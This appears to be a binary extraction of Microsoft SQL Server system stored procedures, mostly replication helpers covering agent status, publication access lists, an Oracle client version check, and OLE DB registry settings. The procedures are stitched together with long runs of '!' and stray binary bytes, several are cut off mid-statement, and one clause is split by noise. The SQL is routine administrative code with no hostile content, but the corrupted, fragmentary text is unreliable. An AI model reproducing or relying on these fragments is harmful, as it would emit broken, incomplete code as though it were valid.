                cast(msda.job_id as uniqueidentifier),
                N'time' = msdh.time,
                N'publisher_srvid' = ss.srvid 
        from dbo.MSdistribution_agents msda with (nolock)
            join master.dbo.sysservers ss with (nolock)
                on ss.srvid = msda.publisher_id
            left outer join dbo.MSdistribution_history msdh with (nolock)
                on msda.id = msdh.agent_id
                and msdh.timestamp = (select max(timestamp)
                                                from dbo.MSdistribution_history msdh2 with (nolock) 
                                                where msdh2.agent_id = msdh.agent_id)
            join dbo.MSsubscriptions mss with (nolock)
                on mss.agent_id = msda.id 
            join dbo.MSpublications msp with (nolock)
                on msp.publication_id = mss.publication_id
        where @agent_type in (@all_agents, @distrib_agent)
            and msda.subscriber_id >= 0 -- skip virtual entries
            and msda.anonymous_agent_id is null -- pick only normal    

    UNION ALL
    
    -- Anonymous agents with or without history
    -- Anonymous agents will not have entries in MSsubscriptions
    select distinct upper(ss.srvname collate database_default), 
                msda.publisher_db, 
                msp.publication, 
                msp.publication_type, 
                N'agent_type' = @distrib_agent | @anonymous_mask,
                N'runstatus' = isnull(msdh.runstatus,0), 
                msda.id,
                msda.name,
                cast(msda.job_id as uniqueidentifier),
                N'time' = msdh.time,
                N'publisher_srvid' = ss.srvid 
        from dbo.MSdistribution_agents msda with (nolock)
            join master.dbo.sysservers ss with (nolock)
                on ss.srvid = msda.publisher_id
            left outer join dbo.MSdistribution_history msdh with (nolock)
                on msda.id = msdh.agent_id
                and msdh.timestamp = (select max(timestamp)
                                                from dbo.MSdistribution_history msdh2 with (nolock) 
                                                where msdh2.agent_id = msdh.agent_id)
            join dbo.MSpublications msp with (nolock)
                on msp.publisher_id = msda.publisher_id
                    and msp.publisher_db = msda.publisher_db
                    and msp.publication = msda.publication
        where @agent_type in (@all_agents, @distrib_agent)
            and msda.subscriber_id >= 0 -- skip virtual entries
            and msda.anonymous_!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<u1

dfagent_id is not null -- pick only anonymous    
    )
    ------------------------------
    -- MERGE AGENT STATUS
    ------------------------------
    UNION ALL
    -- all subscription with its agent that has run with latest run status
    ( select upper(ss.srvname collate database_default), 
            msma.publisher_db, 
            msma.publication, 
            2,
            case when msma.anonymous_subid is not null then @merge_agent | @anonymous_mask else @merge_agent end,
            msmh.runstatus, 
            msma.id,
            msma.name,
            cast(msma.job_id as uniqueidentifier),
            null,
            'publisher_srvid'	= ss.srvid
    from master.dbo.sysservers ss with (nolock),
            dbo.MSmerge_sessions msmh with (nolock), 
            dbo.MSmerge_agents msma with (nolock)
    where @agent_type in (@all_agents, @merge_agent) 
            and ss.srvid = msma.publisher_id 
            and msmh.agent_id = msma.id
            and msmh.session_id = (select top 1 msmh2.session_id
                                   from dbo.MSmerge_sessions msmh2 with (nolock)
                                   where msmh2.agent_id = msma.id
                                   order by msmh2.session_id desc)

    UNION
    -- all subscription with its agent that has not yet run with latest run status=0
    select upper(ss.srvname collate database_default), 
            msma.publisher_db, 
            msma.publication, 
            2, 
            @merge_agent, 
            0, 
            msma.id,
            msma.name,
            cast(msma.job_id as uniqueidentifier),
            null,
            'publisher_srvid'	= ss.srvid
    from master.dbo.sysservers ss with (nolock), 
            dbo.MSmerge_agents msma with (nolock)
    where @agent_type in (@all_agents, @merge_agent) 
            and ss.srvid = msma.publisher_id 
            and not exists (select * 
                                    from dbo.MSmerge_sessions msmh with (nolock)
                                    where msmh.agent_id = msma.id)
    )
    ------------------------------
    -- QUEUE READER AGENT STATUS
    ------------------------------
    UNION ALL

    select upper(@@servername), 
            db_name(), 
            'ALL', 
            0, 
            @queue_agent, 
            msqh.runstatus, 
            msqa.id,
            msqa.name,
            cast(msqa.job_id as uniqueidentifier),
            msqh.time,
            'publisher_srvid' = (select top 1 srvid from master.dbo.sysservers where srvname = @@servername)
    from dbo.MSqreader_history msqh with (nolock), 
            dbo.MSqreader_agents msqa with (nolock)
    where @agent_type in (@all_agents, @queue_agent) 
            and msqh.agent_id = msqa.id
            and msqh.timestamp = (select max(msqh2.timestamp) 
                                                from dbo.MSqreader_history msqh2 with (nolock)
                                                where msqh2.agent_id = msqa.id)
end
publication_access as pa
                                                            on g.sid = pa.sid
                                                    where pa.publication_id = @publication_id)))
            begin
                -- the given login has PAL access
                set @has_access = 1 
            end
            else
            begin
                -- No PAL access
                set @has_access = 0            
            end
            -- drop temp table
            drop table #groupsids
        end -- if @isntuser = 1
        else
        begin
            --
            -- PAL check using SID
            --
            if exists (select * from dbo.MSpublication_access where publication_id = @publication_id and sid = @sid)
                set @has_access = 1 
            else
                set @has_access = 0
        end
    end -- end check operation
    else if @operation = N'help'
    begin
        select login 
        from dbo.MSpublication_access 
        where publication_id = @publication_id 
            and login is not null
            and suser_sid(login, 0) is not NULL
            and sid = suser_sid(login, 0)
            and (sid = @sid 
                    OR @login = N'%'
                    OR @login is NULL)
    end -- end help operation
    else if @operation = N'get_publications'
    begin
        --
        -- We should always have a valid SID for any kind of login (provisioned or not)
        -- If there is not valid SID then it is a bad login
        --
        if (@sid is null)
        begin
            raiserror(15007, 16, -1, @login)
            return (1)
        end
        --
        -- The query is doing PAL check implicitly
        -- Only the publications that have this login in the 
        -- access list will be returned. So there is no
        -- security hole here
        -- Check if the login is valid NT user
        --
        if @isntuser = 1
        begin
            --
            -- query using SID or #groupsids
            --
            select p.publisher_db, p.publication 
            from dbo.MSpublication_access as l
                join dbo.MSpublications as p
                    on l.publication_id = p.publication_id
            where p.publisher_id = @publisher_id 
                -- Either the SID of @login exists
                and (l.sid = @sid 
                            -- Or there exists a group SID of which @login is a member of
                                or exists (select g.sid 
                                                    from #groupsids as g 
                                                        join dbo.MSpublication_access as pa
                                                            on g.sid = pa.sid
                                                        join dbo.MSpublications as pp
                                                            on pa.publication_id = pp.publication_id
                                                    where pp.publisher_id = @publisher_id))                    
            -- drop temp table
            drop table #groupsids
        end
        else
        begin
            --
            -- query using SID
            --
            select p.publisher_db, p.publication 
            from dbo.MSpublication_access as l
                join dbo.MSpublications as p
                    on l.publication_id = p.publication_id
            where p.publisher_id = @publisher_id and l.sid = @sid
        end
    end -- end get_publications operation
    else if @operation = N'get_logins'
    begin
        select loginname from master.dbo.syslogins where hasaccess = 1
    end -- end get_logins operation
    --
    -- all done
    --
    return 0
end
p_p_ goto UNDO
                    END
                END
            commit tran
            fetch hcJobsToFix into @job_id, @name, @sSubsystem,
                @server,@databasename
        end         
        close hcJobsToFix
        deallocate hcJobsToFix
    end
    return (0)
UNDO:
    if @@trancount <> 0
        rollback tran
    return (1)
END
26u26RDER BY publisher, dbname, publication
    end
    --
    -- all done
    --
    RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+|`<j]-)S\D0 
8CREATE FUNCTION sys.fn_replisvalidwindowsloginformat
(
    @win_login nvarchar(257)
)
RETURNS bit 
AS
BEGIN
	-- the domain and login must be non-empty for the
	-- login to be considered a valid windows login
	IF EXISTS (SELECT * 
				FROM sys.fn_replparsewindowslogin (@win_login)
				WHERE domain != N''
					AND login != N''
					AND domain IS NOT NULL
					AND login IS NOT NULL)
		-- NOTE : 	Never enable the next line... the issues
		-- 			is that this function could be called at 
		--			the publisher but the login must be valid
		--			at the distributor and this may fail even
		--			if the login is valid at the distributor.
		-- AND SUSER_SID(@win_login, 0) IS NOT NULL
	BEGIN
		RETURN 1
	END
	
	RETURN 0
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<A+!0N@ 
8--
-- Name: sp_MSrepl_verify_oracle_client_version
--
-- Descriptions: Verify that the version of SQL*PLUS that loads based upon the system path
--               is sufficiently current to support Oracle publishing.
--
-- Parameters: as defined in create statement
--
-- Security: 
-- Requires Certificate signature for catalog access
--
-- Returns: 0 - success
--          1 - Otherwise
--
CREATE procedure sys.sp_MSrepl_verify_oracle_client_version
AS
	SET NOCOUNT ON

	DECLARE @retcode  int
	DECLARE @command nvarchar(4000)
	DECLARE @version nvarchar(100)
	DECLARE @release nvarchar(40)
	DECLARE @verstr nvarchar(3)
	DECLARE @indx int
	DECLARE @ver int

	SELECT @version = NULL
	SELECT @verstr = NULL
	SELECT @ver = NULL

	select @command = N'sqlplus.exe -?'
	select @release = N'R'

	create table #text_ret(cmdoutput nvarchar(255) collate database_default null)

	insert into #text_ret exec @retcode = master.dbo.xp_cmdshell @command
	IF @@error <> 0 or @retcode <> 0
	BEGIN
		-- if sqlplus with -? fails, try without -?  
		select @command = N'sqlplus.exe'

		insert into #text_ret exec @retcode = master.dbo.xp_cmdshell @command

		IF @@error <> 0 or @retcode <> 0
		BEGIN
		    drop table #text_ret
		    RAISERROR(21617, 16, -1)
		    RETURN(1)
		END

		-- Simply return success.  SQL*PLUS executes but does not support -? switch.
		-- Since all older versions of SQL*PLUS support this switch, we must assume
		-- that the running version is newer and hence meets the minimum version requirement.
		drop table #text_ret
		RETURN(0)
	END

	-- Search the table for the first (only) non-null entry.
	SELECT @version = (
	    SELECT	TOP 1 cmdoutput
	    FROM	#text_ret
	    WHERE	cmdoutput IS NOT NULL )

	-- If @version is NULL, we didn't get the version string expected.  Assume that
	-- this is behavior that we don't understand and error on the side of caution.  Return success.
	if @version is NULL
	BEGIN
	    drop table #text_ret
	    RETURN(0)
	END

	-- Locate the substring 'R' in the version string (May be case isue with substring 'Release')
	SELECT @indx = charindex(@release, @version)

	-- If @indx = 0, we didn't get the version string expected.  Assume that
	-- this is behavior that we don't understand and error on the side of caution.  Return success.
	if @indx = 0
	BEGIN
	    drop table #text_ret
	    RETURN(0)
	END

	-- Beginning after the substring 'Release', extract the two characters preceeding the first '.'
	SELECT @version = substring(@version, @indx, 30)
	SELECT @indx = patindex('%__.%',@version)

	-- If @indx = 0, we didn't get the version string expected.  Assume that
	-- this is behavior that we don't understand and error on the side of caution.  Return success.
	if @indx = 0
	BEGIN
	    drop table #text_ret
	    RETURN(0)
	END

	SELECT @verstr = substring(@version, @indx, 2)
	SELECT @ver = convert(int, @verstr)

	-- If the conversion produces an error this is behavior that we don't understand.
	-- Also, the returned result here should never be NULL or less than 6. 
	-- Error on the side of caution.  Return success.
	if @ver IS NULL OR @@ERROR <> 0 OR @ver < 6
	BEGIN
	    drop table #text_ret
	    RETURN(0)
	END

	-- We can be confident that we have correctly identified the SQL*PLUS release string.
	-- Fail if the client version is less than 9
	if @ver < 9
	begin
		drop table #text_ret
		RAISERROR(21620, 16, -1)
		RETURN(1)
	end

	drop table #text_ret
	RETURN (0)
0'7@ 8
--
-- Name:    
--          sp_helpsubscription
--          
-- Description: 
--          Lists subscription information associated with a particular publication, article,
--			Subscriber, or set of subscriptions. This stored procedure is executed at a Publisher
--			on the publication database.
--  
-- Security: 
--          Public
--
-- Returns:
--          Result set of subscription properties
--      
-- Owner:   
--          <current owner> 

create procedure sys.sp_helpsubscription
(
	@publication	sysname = '%',
	@article		sysname = '%',
	@subscriber		sysname = N'%',
	@destination_db	sysname = '%',
	@found			int = 23456 OUTPUT,
	@publisher		sysname = NULL
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname

	SET @retcode = 0

    EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher			= @publisher,
													@publisher_type		= @publisher_type OUTPUT,
													@rpcheader			= @cmd OUTPUT,
													@skipSecurityCheck	= 1

    IF @retcode <> 0
        RETURN (@retcode)

	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
    set @cmd = @cmd + N'sys.sp_MSrepl_helpsubscription'
	
    EXEC @retcode = @cmd
					@publication,
					@article,
					@subscriber,
					@destination_db,
					@found OUTPUT,
					@publisher,
					@publisher_type

	RETURN (@retcode)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Q` @
<20Gy@ 8--
-- Name: 
--        sp_MSgrantconnectreplication
-- 
-- Description: 
--        This procedure will grant "connect replication" to the passed in user.
--        This permission is required for NFR to be honored.
--  
-- Parameters:
--
-- Returns: 
--        0 - succeeded
--        1 - failed
--
-- Result: 
--        None
--
-- Security: 
--        
--
create procedure sys.sp_MSgrantconnectreplication
(
    @user_name sysname
)
as
begin
    declare @command nvarchar(400)
    select @command = N'grant connect replication to ' + quotename(@user_name)
    exec(@command)
    return 0
end
0l8}  8
create procedure sys.sp_MSset_oledb_prop
	@provider_name as sysname = NULL,
	@property_name as sysname = NULL,
	@property_value as bit = NULL
AS
set nocount on

IF (not is_srvrolemember(N'setupadmin') = 1)
begin
	raiserror(15003,-1,-1, N'setupadmin')
	return (1)
end

create table #oledbprop (provider_name sysname null, allow_in_process bit, disallow_adhoc_access bit, dynamic_parameters bit, index_as_access_path bit,
				level_zero_only bit, nested_queries bit, non_transacted_updates bit, sql_server_like bit) 

create table #param_list(property_name sysname, property_value int)

create table #providers (name nvarchar(100), guid nvarchar(100) NULL, description nvarchar(100) NULL)
if @provider_name is null 
begin
	insert into #providers exec sys.sp_enum_oledb_providers
end
else
begin
	insert into #providers (name) VALUES ( @provider_name )
end

declare @regpath nvarchar(512)
set @regpath = N'SOFTWARE\Microsoft\MSSQLServer\Providers\' + @provider_name


insert #param_list(property_name) VALUES ('AllowInProcess')
insert #param_list(property_name) VALUES ('DisallowAdHocAccess')
insert #param_list(property_name) VALUES ('DynamicParameters')
insert #param_list(property_name) VALUES ('IndexAsAccessPath')
insert #param_list(property_name) VALUES ('LevelZeroOnly')
insert #param_list(property_name) VALUES ('NestedQueries')
insert #param_list(property_name) VALUES ('NonTransactedUpdates')
insert #param_list(property_name) VALUES ('SqlServerLIKE')

if (@property_name is null)
begin
	declare @value int
	declare @sql nvarchar(300)
	declare @param nvarchar(300)
	set @sql = 'exec sys.xp_instance_regread N''HKEY_LOCAL_MACHINE'', @regpath, @property_name, @value OUTPUT, @no_output = N''no_output'' ' +
		'update #param_list set property_value = IsNull(@value, 0) where property_name = @property_name'
	set @param = '@regpath nvarchar(512), @property_name sysname, @value int'

	declare c_prov cursor local fast_forward
		for ( select name from #providers )
	open c_prov
	fetch next from c_prov into @provider_name
	while @@fetch_status = 0
	begin
		set @regpath = N'SOFTWARE\Microsoft\MSSQLServer\Providers\' + @provider_name

		declare c cursor local fast_forward
			for ( select property_name from #param_list )
		open c
		fetch next from c into @property_name
		while @@fetch_status = 0
		begin
			exec sp_executesql @sql, @param, @regpath, @property_name, @value
			fetch next from c into @property_name
		end
	close c
	deallocate c
	
	insert #oledbprop (provider_name, allow_in_process , disallow_adhoc_access , dynamic_parameters , index_as_access_path , level_zero_only , nested_queries , non_transacted_updates , sql_server_like)
		select @provider_name, AllowInProcess, DisallowAdHocAccess, DynamicParameters, IndexAsAccessPath, LevelZeroOnly, NestedQueries, NonTransactedUpdates, SqlServerLIKE 
		from #param_list pivot ( max(property_value) for property_name in ( [AllowInProcess], [DisallowAdHocAccess], [DynamicParameters], [IndexAsAccessPath], [LevelZeroOnly], [NestedQueries], [NonTransactedUpdates], [SqlServerLIKE] ) ) as p

	fetch next from c_prov into @provider_name
	end
	close c_prov
	deallocate c_prov

	select * from #oledbprop
end
else
begin
	-- check if this is a known property
	if @property_name not in ( select property_name from #param_list )
	begin
	-- A message need to be added to system messages and name should also be given ('Unknown property specified: %s.')
		/* localize message without changing message number */
	   	declare @errtxt nvarchar(1024)
		select @errtxt=text from sys.messages where message_id=29004
	       raiserror (@errtxt, 16, 1, @property_name)
	       return
	end

	if 1 = @property_value
	begin
		declare @val int
		set @val = @property_value
		exec sys.xp_instance_regwrite N'HKEY_LOCAL_MACHINE', @regpath, @property_name, REG_DWORD, @val
	end
	else
	begin
		exec xp_instance_regdeletevalue N'HKEY_LOCAL_MACHINE', @regpath, @property_name
	end
end

drop table #oledbprop
drop table #providers
drop table #param_list
(x_eunc_Server), src major id, src minor id, src name
		-- -1 means ignore target stuff, target major id, target minor id, target name,
		-- # of parameters, 5 parameters
		EXEC %%System().FireTrigger(ID = 240, ID = 100, ID = 0, ID = 0, Value = @server,
			ID = -1, ID = 0, ID = 0, Value = NULL, 
			ID = 2, Value = @server, Value = @droplogins, Value = NULL, Value = NULL, Value = NULL, Value = NULL, Value = NULL)
	end
	-- SUCCESS
	commit transaction
	return (0) -- sp_dropserver
0t%@ 28create procedure sys.sp_MSlogshippingsysadmincheck
(
    @mode tinyint = 1   -- 0 = check for installing metadata, 1 = security check for SPs
)
as
begin
    set nocount on
    declare @edition sysname
    --
    -- must be sysadmin
    --
    if (isnull(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    begin
        raiserror(21089,16,-1) 
        return 1
    end
    --
    -- validate @mode
    --
    if (@mode not in (0,1))
        return 1
    --
    -- skip this block when installing metadata
    -- we will install metadata on all editions
    --
    if (@mode != 0)
    begin
        --
        -- do Edition check
        -- Log shipping will be supported on Web, Standard, Developer, Enterprise, DataCenter and Workgroup
        --
        if (cast(SERVERPROPERTY('EngineEdition') as int) not in (2,3))
        begin
            select @edition = cast(SERVERPROPERTY('Edition') as sysname)
            raiserror(32017, 16, -1, @edition)
            return 1
        end
        --
        -- Has log shipping been installed
        --
        if object_id(N'msdb.dbo.log_shipping_monitor_alert') is null
        begin
            raiserror(32018, 16, 1)
            return 1
        end
    end
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!C`><	e;8
P^0,M  8

--
-- Used for backward compatibility:
-- When pre-Yukon client is connected to Yukon server.
--
create procedure sys.sp_tables_info_rowset;2
(
    @table_schema   sysname = null,
    @table_type     nvarchar(255) = null
)
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        TABLE_CATALOG           = s_tiv.TABLE_CATALOG,
        TABLE_SCHEMA            = s_tiv.TABLE_SCHEMA,
        TABLE_NAME              = s_tiv.TABLE_NAME,
        TABLE_TYPE              = s_tiv.TABLE_TYPE,
        TABLE_GUID              = s_tiv.TABLE_GUID,
        BOOKMARKS               = s_tiv.BOOKMARKS,
        BOOKMARK_TYPE           = s_tiv.BOOKMARK_TYPE,
        BOOKMARK_DATATYPE       = convert(smallint, 19), --DBTYPE_UI4
        BOOKMARK_MAXIMUM_LENGTH = convert(int, 4),
        BOOKMARK_INFORMATION    = s_tiv.BOOKMARK_INFORMATION,
        TABLE_VERSION           = s_tiv.TABLE_VERSION,
        CARDINALITY             = s_tiv.CARDINALITY,
        DESCRIPTION             = s_tiv.DESCRIPTION,
        TABLE_PROPID            = s_tiv.TABLE_PROPID
    from
        sys.spt_tables_info_view s_tiv
    where
        (@table_schema is null or schema_id(@table_schema) = s_tiv.schema_id) and
        (@table_type is null or @table_type = s_tiv.TABLE_TYPE)
    order by 4, 2, 3
0r$S@ 8
create procedure sys.sp_changesubscriber_schedule
(
	@subscriber						sysname,
	@agent_type						smallint,
	@frequency_type					int = NULL,
	@frequency_interval				int = NULL,
	@frequency_relative_interval	int = NULL,
	@frequency_recurrence_factor	int = NULL,
	@frequency_subday				int = NULL,
	@frequency_subday_interval		int = NULL,
	@active_start_time_of_day		int = NULL,
	@active_end_time_of_day			int = NULL,
	@active_start_date				int = NULL,
	@active_end_date				int = NULL,
	@publisher						sysname = NULL
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname

	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@rpcheader		= @cmd            OUTPUT,
													@publisher_type	= @publisher_type OUTPUT
	
	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_changesubscriber_schedule'
	
	EXEC @retcode = @cmd
					@subscriber,
					@agent_type,
					@frequency_type,
					@frequency_interval,
					@frequency_relative_interval,
					@frequency_recurrence_factor,
					@frequency_subday,
					@frequency_subday_interval,
					@active_start_time_of_day,
					@active_end_time_of_day,
					@active_start_date,
					@active_end_date,
					@publisher,
					@publisher_type

	RETURN (@retcode)
END
0V@ 8CREATE VIEW INFORMATION_SCHEMA.COLUMN_DOMAIN_USAGE
AS
SELECT
	DB_NAME()					AS DOMAIN_CATALOG,
	SCHEMA_NAME(t.schema_id)	AS DOMAIN_SCHEMA,
	t.name						AS DOMAIN_NAME,
	DB_NAME()					AS TABLE_CATALOG,
	SCHEMA_NAME(o.schema_id)	AS TABLE_SCHEMA,
	o.name						AS TABLE_NAME,
	c.name						AS COLUMN_NAME
FROM
	sys.objects o JOIN sys.columns c ON c.object_id = o.object_id
	JOIN sys.types t ON t.user_type_id = c.user_type_id
WHERE
	c.user_type_id > 256	-- UDT
0_@ v8

--
-- Name: sp_help_agent_profile
--
-- Description: 
-- View the row(s) of the MSagent_profiles table
--
-- Parameter: Refer to the comments in the create procedure statement
--
-- Returns: 1 or 0   0 = success
--
-- Resultset:
-- profile_id int
--
-- Security: Public procedure - sa or replmonitor 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_help_agent_profile(
    @agent_type     int = 0,
    @profile_id int = -1
)
as
    set nocount on

    declare @proc nvarchar(255)

    declare @snapshot_type      int
    declare @logreader_type     int
    declare @distribution_type  int
    declare @merge_type     int
    declare @qreader_type       int

    select @snapshot_type = 1
    select @logreader_type = 2
    select @distribution_type = 3
    select @merge_type = 4
    select @qreader_type = 9

   -- Security Check: Must be sysadmin or the replmonitor
   if isnull(is_member(N'replmonitor'),0) = 0 and isnull(is_srvrolemember(N'sysadmin'),0) = 0
   begin
